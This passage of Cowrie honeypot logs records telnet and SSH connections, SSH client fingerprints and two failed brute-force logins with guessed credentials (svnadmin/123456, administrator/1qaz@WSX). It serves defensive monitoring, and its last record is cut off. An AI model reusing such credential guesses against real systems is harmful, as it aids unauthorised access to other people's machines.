{"eventid":"cowrie.session.closed","duration":31.07199239730835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:12.912943Z","src_ip":"50.6.3.16","session":"e14655c922cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0886971950531,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:13.202734Z","src_ip":"50.6.3.16","session":"2b3bebf09ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061270236968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:13.396782Z","src_ip":"50.6.3.16","session":"fdc76124427e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54892,"dst_ip":"10.17.0.5","dst_port":23,"session":"8689bd55554f","protocol":"telnet","message":"New connection: 50.6.3.16:54892 (10.17.0.5:23) [session: 8689bd55554f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:13.683810Z"}
{"eventid":"cowrie.session.closed","duration":31.1043062210083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:14.935003Z","src_ip":"50.6.3.16","session":"fea089c17ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076908349990845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:17.864627Z","src_ip":"50.6.3.16","session":"c8ba20da17ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443178176879883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:18.287892Z","src_ip":"50.6.3.16","session":"decb9e7f40d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47002,"dst_ip":"10.17.0.5","dst_port":23,"session":"270649a956cb","protocol":"telnet","message":"New connection: 209.205.218.26:47002 (10.17.0.5:23) [session: 270649a956cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:18.345627Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":34606,"dst_ip":"159.203.135.109","dst_port":22,"session":"1632a30830f0","protocol":"ssh","message":"New connection: 4.213.160.153:34606 (159.203.135.109:22) [session: 1632a30830f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:19.594946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:19.600664Z","src_ip":"4.213.160.153","session":"1632a30830f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:19.797976Z","src_ip":"4.213.160.153","session":"1632a30830f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnadmin","password":"123456","message":"login attempt [svnadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:20.589491Z","src_ip":"4.213.160.153","session":"1632a30830f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:21.782069Z","src_ip":"4.213.160.153","session":"1632a30830f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.073976755142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:22.489982Z","src_ip":"50.6.3.16","session":"4cda0dce56d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ecd873d0f3c","protocol":"telnet","message":"New connection: 50.6.3.16:42194 (10.17.0.5:23) [session: 5ecd873d0f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:23.397206Z"}
{"eventid":"cowrie.session.closed","duration":30.270411491394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:23.571602Z","src_ip":"50.6.3.16","session":"3537a017f37e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":35324,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb8b58c7594","protocol":"ssh","message":"New connection: 211.186.79.173:35324 (10.17.0.5:22) [session: 5bb8b58c7594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:23.677183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:23.683123Z","src_ip":"211.186.79.173","session":"5bb8b58c7594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:23.866380Z","src_ip":"211.186.79.173","session":"5bb8b58c7594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"92fdec769e2a","protocol":"telnet","message":"New connection: 50.6.3.16:42208 (10.17.0.5:23) [session: 92fdec769e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:24.240961Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"c75181026a48","protocol":"telnet","message":"New connection: 50.6.3.16:42218 (10.17.0.5:23) [session: c75181026a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:24.498377Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1qaz@WSX","message":"login attempt [administrator/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:24.587972Z","src_ip":"211.186.79.173","session":"5bb8b58c7594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:25.778442Z","src_ip":"211.186.79.173","session":"5bb8b58c7594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07934045791626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:27.519647Z","src_ip":"50.6.3.16","session":"7f2112abb937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009026765823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:28.900292Z","src_ip":"50.6.3.16","session":"b1a4be7b0a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94568109512329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:29.826622Z","src_ip":"50.6.3.16","session":"843bbf3a285b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353128910064697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:30.345928Z","src_ip":"50.6.3.16","session":"2ca7ebac724e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.078840494155884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:31.157558Z","src_ip":"50.6.3.16","session":"92a1c5f51f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56818,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da46131554a","protocol":"telnet","message":"New connection: 50.6.3.16:56818 (10.17.0.5:23) [session: 0da46131554a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:31.215907Z"}
{"eventid":"cowrie.session.closed","duration":31.079025268554688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:31.615422Z","src_ip":"50.6.3.16","session":"41211f6cc34e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2517511844635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:32.182505Z","src_ip":"50.6.3.16","session":"b9a0c7925073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56832,"dst_ip":"10.17.0.5","dst_port":23,"session":"356f1b9c9525","protocol":"telnet","message":"New connection: 50.6.3.16:56832 (10.17.0.5:23) [session: 356f1b9c9525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:32.445232Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56842,"dst_ip":"10.17.0.5","dst_port":23,"session":"14fced0e192c","protocol":"telnet","message":"New connection: 50.6.3.16:56842 (10.17.0.5:23) [session: 14fced0e192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:33.155545Z"}
{"eventid":"cowrie.session.closed","duration":31.078216314315796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:34.336827Z","src_ip":"50.6.3.16","session":"72173cc71257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075475215911865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:35.820751Z","src_ip":"50.6.3.16","session":"54ba38a9b33f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89266848564148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:36.805703Z","src_ip":"50.6.3.16","session":"a705abb17bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362609148025513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:36.893472Z","src_ip":"50.6.3.16","session":"3bd90b47c070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11047911643982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:37.425882Z","src_ip":"50.6.3.16","session":"4a95b97c7b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607753038406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:39.108529Z","src_ip":"50.6.3.16","session":"151a6a100227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57816,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e7efaa87e5","protocol":"telnet","message":"New connection: 50.6.3.16:57816 (10.17.0.5:23) [session: 40e7efaa87e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:40.853237Z"}
{"eventid":"cowrie.session.closed","duration":31.06887674331665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:41.176778Z","src_ip":"50.6.3.16","session":"bc7e2790671b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a203216e58e1","protocol":"telnet","message":"New connection: 50.6.3.16:57824 (10.17.0.5:23) [session: a203216e58e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:41.252258Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57826,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ea40376f9c","protocol":"telnet","message":"New connection: 50.6.3.16:57826 (10.17.0.5:23) [session: f8ea40376f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:43.223190Z"}
{"eventid":"cowrie.session.closed","duration":31.086800813674927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:44.770511Z","src_ip":"50.6.3.16","session":"8689bd55554f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57838,"dst_ip":"10.17.0.5","dst_port":23,"session":"be1e3f4d1d8f","protocol":"telnet","message":"New connection: 50.6.3.16:57838 (10.17.0.5:23) [session: be1e3f4d1d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:46.256603Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57848,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ecbcf47492c","protocol":"telnet","message":"New connection: 50.6.3.16:57848 (10.17.0.5:23) [session: 1ecbcf47492c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:47.284845Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33922,"dst_ip":"10.17.0.5","dst_port":23,"session":"4baa0e236a0b","protocol":"telnet","message":"New connection: 50.6.3.16:33922 (10.17.0.5:23) [session: 4baa0e236a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:51.916833Z"}
{"eventid":"cowrie.session.closed","duration":30.175187587738037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:53.572296Z","src_ip":"50.6.3.16","session":"5ecd873d0f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85149669647217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:54.196970Z","src_ip":"209.205.218.26","session":"270649a956cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.390528917312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:54.631392Z","src_ip":"50.6.3.16","session":"92fdec769e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158583641052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:54.656852Z","src_ip":"50.6.3.16","session":"c75181026a48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"66617f97649a","protocol":"telnet","message":"New connection: 50.6.3.16:33932 (10.17.0.5:23) [session: 66617f97649a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:55.018617Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e025d47d9d30","protocol":"telnet","message":"New connection: 50.6.3.16:33944 (10.17.0.5:23) [session: e025d47d9d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:55.753948Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51078,"dst_ip":"10.17.0.5","dst_port":23,"session":"93775bb7afbd","protocol":"telnet","message":"New connection: 50.6.3.16:51078 (10.17.0.5:23) [session: 93775bb7afbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:58.294392Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51088,"dst_ip":"10.17.0.5","dst_port":23,"session":"9efe4fa37b63","protocol":"telnet","message":"New connection: 50.6.3.16:51088 (10.17.0.5:23) [session: 9efe4fa37b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:00.700918Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51098,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5af9d88a943","protocol":"telnet","message":"New connection: 50.6.3.16:51098 (10.17.0.5:23) [session: b5af9d88a943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:02.033081Z"}
{"eventid":"cowrie.session.closed","duration":30.829466104507446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:02.045285Z","src_ip":"50.6.3.16","session":"0da46131554a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944767236709595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:03.389915Z","src_ip":"50.6.3.16","session":"356f1b9c9525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06795835494995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:04.223378Z","src_ip":"50.6.3.16","session":"14fced0e192c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51100,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc50f75389d","protocol":"telnet","message":"New connection: 50.6.3.16:51100 (10.17.0.5:23) [session: 4cc50f75389d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:04.381862Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":51112,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdfd67b766d","protocol":"telnet","message":"New connection: 50.6.3.16:51112 (10.17.0.5:23) [session: cfdfd67b766d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:06.261395Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a39db0c673","protocol":"telnet","message":"New connection: 50.6.3.16:36968 (10.17.0.5:23) [session: 20a39db0c673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:09.861251Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36974,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f90a32a1d4c","protocol":"telnet","message":"New connection: 50.6.3.16:36974 (10.17.0.5:23) [session: 9f90a32a1d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:10.115637Z"}
{"eventid":"cowrie.session.closed","duration":30.95891809463501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:12.210980Z","src_ip":"50.6.3.16","session":"a203216e58e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381502628326416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:12.234626Z","src_ip":"50.6.3.16","session":"40e7efaa87e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.458617448806763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:13.681684Z","src_ip":"50.6.3.16","session":"f8ea40376f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07151508331299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:17.327889Z","src_ip":"50.6.3.16","session":"be1e3f4d1d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50024,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa7a7b1a5dd4","protocol":"telnet","message":"New connection: 50.6.3.16:50024 (10.17.0.5:23) [session: aa7a7b1a5dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:18.016053Z"}
{"eventid":"cowrie.session.closed","duration":31.09409189224243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:18.378802Z","src_ip":"50.6.3.16","session":"1ecbcf47492c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6dc43109c7","protocol":"ssh","message":"New connection: 4.213.160.153:53754 (159.203.135.109:22) [session: be6dc43109c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:18.789062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:18.809103Z","src_ip":"4.213.160.153","session":"be6dc43109c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ec